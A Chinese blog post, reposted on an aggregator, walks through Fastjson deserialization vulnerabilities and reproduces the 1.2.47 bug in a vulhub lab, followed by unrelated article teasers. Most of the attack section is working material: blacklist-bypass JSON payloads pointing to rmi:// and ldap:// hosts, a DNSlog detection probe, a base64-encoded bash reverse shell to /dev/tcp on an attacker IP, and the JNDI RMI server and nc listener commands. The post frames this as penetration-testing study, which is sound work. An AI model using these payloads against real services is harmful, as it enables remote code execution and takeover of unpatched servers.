fastjson漏洞 - Fastjson1.2.47反序列化漏洞

news2024/12/23 7:17:57

文章目录

    • Fastjson简介
    • 历史漏洞
      • Fastjson < 1.2.41
      • Fastjson < 1.2.42
      • Fastjson < 1.2.47
      • Fastjson < 1.2.66
  • 漏洞发现
    • Fastjson寻找
    • Fastjson报错识别
    • 漏洞检测
  • 漏洞复现
    • Fastjson1.2.47反序列化漏洞
      • 影响版本
      • 实验环境
      • JNDI
      • JNDI注入 + RMI
      • JNDI注入 + RMI 利用

Fastjson简介

Fastjson 是阿里巴巴公司开源的一款 JSON 解析器,它可以解析 JSON 格式的字符串,Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Bean 。

历史漏洞

Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞

Fastjson < 1.2.41

第一个Fastjson反序列化漏洞爆出后,阿里在1.2.25版本设置了 autoTypeSupport 属性默认为false,并且增加了 checkAutoType() 函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单绕过来实现攻击利用的目的的。

com.sun.rowset.jdbcRowSetlmpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以"L"开头、以";"结尾,是的话就提取出其中的类名在加载进来

那么就可以构造如下exp

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://ip:9999/rce_1_2_24_exploit", "autoCommit":true}

Fastjson < 1.2.42

阿里在发现这个绕过漏洞之后做出了类名如果为L开头,;结尾的时候就先去掉L和;进行黑名单检验的方法,但是没有考虑到双写或多写的情况,也就是说这种方法只能防御一组L和;,构造exp如下,即双写L和;

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://x.x.x.x:9999/exp", "autoCommit":true}

Fastjson < 1.2.47

在1.2.47版本及以下的情况下,loadClass中默认cache为true,首先使用 java.lang.Class 把获取到的类缓存到 mapping 中,然后直接从缓存中获取到了 com.sun.rowset.jdbcRowSetlmpl 这个类,即可绕过黑名单

{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" },
"b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":
"rmi://ip:9999/exp", "autoCommit": true }}

Fastjson < 1.2.66

基于黑名单绕过, autoTypeSupport 属性为true才能使用,在1.2.25版本之后 autoTypeSupport 默认为false

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://ip:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://ip:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://ip:1389/Calc"}

漏洞发现

Fastjson寻找

Fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方 就有可能使用了Fastjson,通过burp抓包Content-Type是否为application/json,如果是则大概率使用了fastjson

Fastjson报错识别

{
  "name":"1"

使用burp suite抓包 - 发送到 Repeater - 在Request模块右键选择"Change request method"(更改http请求)- 将Content-type的属性改为application/json ,通过构建错误的json格式,Response返回信息中会有fastjson的信息泄露

也可以使用如下json爆出fastjson的版本信息

[
{
  "a":"a\x] {"@type":"java.lang.AutoCloseable"a

漏洞检测

原理:java.net.InetAddress这个类在实例化时会尝试做对example.com做域名解析,这时候可以通过dnslog的方式得知漏洞是否存在

{
   "name:{   
     "@type":"java.net.InetAddress", "val":"vbaahm8fqzypvpitqmsvarcngem4at.burpcollaborator.net"
   }
}

可以看到DNS对该域名进行解析,可以判断fastjson漏洞的存在。

漏洞复现

Fastjson1.2.47反序列化漏洞

影响版本

Fastjson1.2.47以及之前的版本

实验环境

docker搭建使用vulhub靶场

docker-compose up -d

访问靶场地址即可搭建成功

JNDI

JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

可以访问以下命名/目录服务:
RMI (JAVA远程方法调用)
LDAP (轻量级目录访问协议)
CORBA (公共对象请求代理体系结构)
DNS (域名服务)

JNDI注入 + RMI

RMI是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口,它使客户机上运行的程序可以调用远程服务器上的对象。

JNDI注入 + RMI 利用

下载利用工具

JNDI服务利用工具,fastjson&log4j

反弹shell

将bash -i >& /dev/tcp/攻击机ip/6666 0>&1进行base64编码

bash -i >& /dev/tcp/192.168.88.128/9999 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}

java -cp jndi_tool.jar jndi.HRMIServer 192.168.88.128 8888 "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"

反弹shell的命令,需要将其进行编码,管道符、输入输出重定向,只有在bash环境下才能用。而在这里,我们使用的是java为我们提供的命令执行环境,不支持管道符、输入输出重定向等。因此需要bash64编码一下。

利用工具启动RMI server

java -cp jndi_tool.jar jndi.HRMIServer 192.168.88.128 8888 “要执行的命令”

java -cp jndi_tool.jar jndi.HRMIServer 192.168.88.128 8888  "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"

新打开窗口监听端口

nc -lnvp 9999

构造pyload进行攻击

{
   "a":{
       "@type":"java.lang.Class",
       "val":"com.sun.rowset.JdbcRowSetImpl"
   },
   "b":{
       "@type":"com.sun.rowset.JdbcRowSetImpl",
       "dataSourceName":"rmi://攻击机ip:8888/Object",
       "autoCommit":true
   }
}

返回监听端口,反弹shell成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/144693.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

销售管理和销售分析怎么做?

作为一个优秀的销售&#xff0c;除了要会和客户沟通之外&#xff0c;拥有复盘和分析的能力能够事半功倍&#xff0c;为未来的营销指引方向。 很多销售也会有用Excel制作报表&#xff0c;复盘整理并向领导汇报的习惯&#xff0c;但是往往由于缺乏专业的分析概念和方法&#xff0…

用Astro建立一个静态站点

介绍 Astro是一个相对较新的web框架&#xff0c;它可以帮助你轻松地建立快速干净的网站。Astro能够与目前主流的JavaScript前端框架一起工作&#xff0c;如React, Vue或solid。 终端用户喜欢网站快速展示&#xff0c;但开发人员喜欢用复杂的JavaScript框架来构建网站。 Astro就…

Go语言包管理学习

重点 首先你要确认你的GOPath 我是winodw系统&#xff0c;所以如图 所以你要创建的文件是在$GOPATH(我这里是E:\LearnFile\GO)\src文件下 项目结构 你只能有一个main包和main函数 go文件内容 ./hello/hello.go 这是正常引入&#xff0c;不会报错&#xff0c;但是这个不是主…

logback重写DBAppenderBase连接达梦数据库实现自定义日志

一. 背景 本来项目组使用的数据库是Oracle&#xff0c;如今要切换到达梦。。。早期的时候就讨论过数据库日志迁移的问题&#xff0c;本来以为是一个小问题可以随便搞定&#xff0c;没想到是踩坑了&#xff0c;记录下&#xff1a; 二. 如果已经实现Oracle自定义日志 简单来说&a…

TCP/IP协议

作者&#xff1a;~小明学编程 文章专栏&#xff1a;JavaEE 格言&#xff1a;热爱编程的&#xff0c;终将被编程所厚爱。 目录 应用层 XML json ​编辑 protobuffer 传输层 UDP的数据报文格式 TCP报文格式 TCP的可靠传输 确认应答&#xff08;安全机制&#xff09; …

Java版本TransE代码的学习

参考资料 Anery/transE: transE算法 简单python实现 FB15k (github.com) Translating Embeddings for Modeling Multi-relational Data (nips.cc) 输入 1.数据集S 2.Entities集合E 3.Relations集合L 4.margin hyperparameter γ 5.每个向量的长度 k 初始化 为Entities集…

服务发现组件:Consul简易攻略

简介 Consul是一种分布式、高可用性、支持多数据中心的解决方案&#xff0c;可动态、分布式基础架构连接和配置的应用程序。 特性 『多数据中心』  Consul是为支持数据中心而构建的&#xff0c;可以支持任意数量的区域&#xff0c;而无需复杂的配置。『服务网格』  Consul服…

ROS移动机器人——32电机驱动

驱动电机&#xff0c;我们在这里使用TB6612来驱动电机&#xff0c;同时&#xff0c;电机的内部我们有编码器进行计次 输出比较 cnt&#xff0c;就是时基单元寄存器 ccr&#xff0c;在cnt下方&#xff0c;为捕获比较寄存器&#xff0c;cc是捕获比较的意思&#xff0c;r就是寄存…

内存溢出问题排查

一、问题背景下午突发服务器CPU频繁撑爆&#xff0c;服务启动后不久就挂掉。一周前系统有一次投产&#xff0c;之后再没有更新过系统。同时在日志中看到大量的dubbo服务调用失败。二、排查问题产生原因1.查看JVM崩溃日志hs_err_pid.logJVM崩溃时会生成hs_err_pid_xxx.log日志文…

面经分享|2022年秋招斩获7个规控算法工程师offer

该面经来自深蓝学院用户投稿&#xff0c;作者为东北大学自动化专业硕士。 作者2022年秋招情况&#xff1a;投递的岗位包括决策规划&#xff0c;规划控制和控制岗位。本人累计投递70家自动驾驶公司&#xff0c;最终收获10多家公司的笔试或面试反馈。最终拿到的offer包括主机厂、…

抖音短视频运营中的六大定位法

抖音六大定位法 1年龄反转法年龄反转法的秘诀就是指&#xff0c;所设定的人物、性格与实际的年龄并不是特别符合&#xff0c;从而让用户产生比较强烈的差异感。比如之前很火的北海爷爷&#xff0c;是一位有着七十多岁高龄的先生&#xff0c;但他依然很有精神&#xff0c;举止优…

【Mybatis-plus 入门教程】

&#x1f308;博客主页&#xff1a;屠一乐的博客 &#x1f4c5; 发文时间&#xff1a;2023.1.6 &#x1f388; 一定存在只有你才能做成的事 &#x1f339; 博主水平有限&#xff0c;如有错误&#xff0c;欢迎指正 欢迎各位&#x1f44d;收藏&#x1f48e;评论✉ MyBatisPlus …

舆情监测技术手段有哪些,网络舆情监测监测技术应用到哪些方面?

随着网络舆情的快速发展&#xff0c;舆情影响到方方面面&#xff0c;大多数企业将网络舆情监测纳入其日常工作。对于舆情监测上如何做到全面监测&#xff0c;那些技术上可以实现&#xff0c;接下来TOOM舆情监测小编带您简单了解舆情监测技术手段有哪些&#xff0c;网络舆情监测…

C语言 文件处理

文件操作 为什么使用文件 什么是文件 程序文件 数据文件 文件名 文件的打开和关闭 文件指针 只要没打开一个文件就会有一个文件信息区&#xff0c;只要一更改文件信息区也会跟着更改 **FILE *fopen( const char filename, const char mode ); filename 文件名 *char mode 打…

疑难杂症之vscode--During startup program exited with code 0xc0000139.--缺失重要文件(杂记)

问题展示在vscode中&#xff0c;只要用了STL容器&#xff0c;就会出现这样的提示发现自己的 vscode 不能运行带有部分 stl 库的程序&#xff0c;编译不会报错&#xff0c;运行也不会报错但是也没有结果&#xff0c;调试的话会有下图中报错。拿一个以前的程序做测试&#xff0c;…

Java 集合系列:Vector源码深入解析

概论 学完ArrayList和LinkedList之后&#xff0c;我们接着学习Vector。学习方式还是和之前一样&#xff0c;先对Vector有个整体认识&#xff0c;然后再学习它的源码&#xff1b;最后再通过实例来学会使用它。 第1部分 Vector介绍 Vector简介 Vector 是矢量队列&#xff0c;…

java服装商城购物商场项目源码

简介 Java基于ssm开发的服装商城&#xff0c;用户可以浏览商品和特价商品&#xff0c;加入购物车&#xff0c;直接下单支付&#xff0c;在我的个人中心里可以管理自己的订单&#xff0c;收货地址&#xff0c;编辑资料等。管理员可以发布商品&#xff0c;上下架商品&#xff0c…

Neo4j详细介绍及使用教程

文章目录一、Neo4j介绍1.Neo4j简介2.图数据库简介3.Neo4j的优缺点4.Neo4j的常见应用场景二、使用教程1.下载安装2.数据插入和查询(1)基本概念(2)基本语法Ⅰ.CREATE操作——创建Ⅱ.MERGE——创建或更新Ⅲ.Match操作——查找指定的图数据Ⅳ.DELETE操作——删除节点3.JAVA实战一、…

FPGA之VGA/LCD数字时钟显示

文章目录前言一、LCD显示控制1.LCD显示一个字符2.LCD显示多个字符二、数字时钟输出1.数字时钟2.十进制数据拆分BCD码三、按键检测及LCD驱动1.按键检测2.LCD驱动四、总结前言 软件实现了在4.3寸LCD左上角显示一个数字时钟&#xff0c;效果如下图所示。本文针对VGA/LCD控制时许有…

leetcode:2103. 环和杆(python3解法)

难度&#xff1a;简单 总计有 n 个环&#xff0c;环的颜色可以是红、绿、蓝中的一种。这些环分布穿在 10 根编号为 0 到 9 的杆上。 给你一个长度为 2n 的字符串 rings &#xff0c;表示这 n 个环在杆上的分布。rings 中每两个字符形成一个 颜色位置对 &#xff0c;用于描述每个…